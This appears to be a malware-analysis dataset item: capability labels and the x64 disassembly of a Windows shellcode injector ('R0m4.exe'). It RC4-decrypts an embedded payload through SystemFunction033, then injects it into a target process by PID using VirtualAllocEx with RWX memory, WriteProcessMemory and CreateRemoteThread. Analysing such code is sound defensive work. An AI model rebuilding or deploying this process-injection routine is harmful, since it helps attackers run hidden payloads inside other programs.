Function at 0x14001128a
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 via systemfunction033
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400118d0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
lea rcx, [0x1400230a4]
call fcn.14001138e
nop
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 8], rax
lea rax, str.R0m4Rc4_enc
mov qword [0x14001e448], rax
mov dword [0x14001e440], 0x10
lea rax, section..data
mov qword [0x14001e438], rax
mov dword [0x14001e430], 0x203
lea rdx, str.SystemFunction033
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
lea rdx, [0x14001e440]
lea rcx, [0x14001e430]
call qword [rbp + 0x28]
nop
lea rcx, str._nunsigned_char_shellcode____
call fcn.1400111a9
nop
mov qword [rbp + 0x48], 0
jmp 0x14001197e
mov rax, qword [rbp + 0x48]
inc rax
mov qword [rbp + 0x48], rax
mov eax, dword [0x14001e430]
cmp qword [rbp + 0x48], rax
jae 0x140011a08
xor edx, edx
mov rax, qword [rbp + 0x48]
mov ecx, 0x10
div rcx
mov rax, rdx
test rax, rax
jne 0x1400119ad
lea rcx, str._n
call fcn.1400111a9
nop
mov rax, qword [rbp + 0x48]
mov rcx, qword [0x14001e438]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov edx, eax
lea rcx, str.0x_02x_
call fcn.1400111a9
nop
mov eax, dword [0x14001e430]
dec eax
mov eax, eax
cmp qword [rbp + 0x48], rax
jne 0x140011a03
mov rax, qword [rbp + 0x48]
mov rcx, qword [0x14001e438]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov edx, eax
lea rcx, str.0x_02x__
call fcn.1400111a9
nop
jmp 0x140011973
cmp dword [rbp + 0x140], 2
jge 0x140011a28
lea rcx, str.___you_should_enter_the_process_ID_to_inject_the_SHELLCODE_in_____n_USAGE_:_R0m4.exe__PID__n
call fcn.1400111a9
nop
mov eax, 1
jmp 0x140011bf8
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x148]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [0x14001e450], eax
mov edx, dword [0x14001e450]
lea rcx, str.__Now_we_are_trying_to_open_the_process_with_the_ID_:__ld__n_n
call fcn.1400111a9
nop
cmp qword [rbp + 8], 0
jne 0x140011a81
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cant_get_a_handle_on_advapi___________0x_lx
call fcn.1400111a9
nop
mov eax, 1
jmp 0x140011bf8
lea rcx, str.__module_imported_n
call fcn.1400111a9
nop
mov r8d, dword [0x14001e450]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14001e458], rax
cmp qword [0x14001e458], 0
je 0x140011be1
mov rdx, qword [0x14001e458]
lea rcx, str.__We_got_handle_on_the_process__________0x_p_n
call fcn.1400111a9
nop
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x203
xor edx, edx
mov rcx, qword [0x14001e458]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [0x14001e468], rax
mov r8d, dword [0x14001e450]
mov edx, 0x203
lea rcx, str.__Allocated__zu_bytes_with_PAGE_EXECUTE_READWRITE_permissions_inside__ld_n
call fcn.1400111a9
nop
mov qword [rsp + 0x20], 0
mov r9d, 0x203
mov r8, qword [0x14001e438]
mov rdx, qword [0x14001e468]
mov rcx, qword [0x14001e458]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
mov edx, 0x203
lea rcx, str.__Wrote__zu_bytes_to_process_memory_n_n
call fcn.1400111a9
nop
lea rax, [0x14001e454]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [0x14001e468]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x14001e458]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [0x14001e460], rax
cmp qword [0x14001e460], 0
je 0x140011bae
mov r8d, dword [0x14001e454]
mov edx, dword [0x14001e450]
lea rcx, str.__Created_remote_thread_in_the_process__ld_with_the_TID__ld_n
call fcn.1400111a9
nop
jmp 0x140011bc3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.___Failed_to_create_remote_thread:__ld_n
call fcn.1400111a9
nop
mov rcx, qword [0x14001e458]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [0x14001e460]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x140011bf6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.___Failed_to_open_process:__ld_n
call fcn.1400111a9
nop
xor eax, eax
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret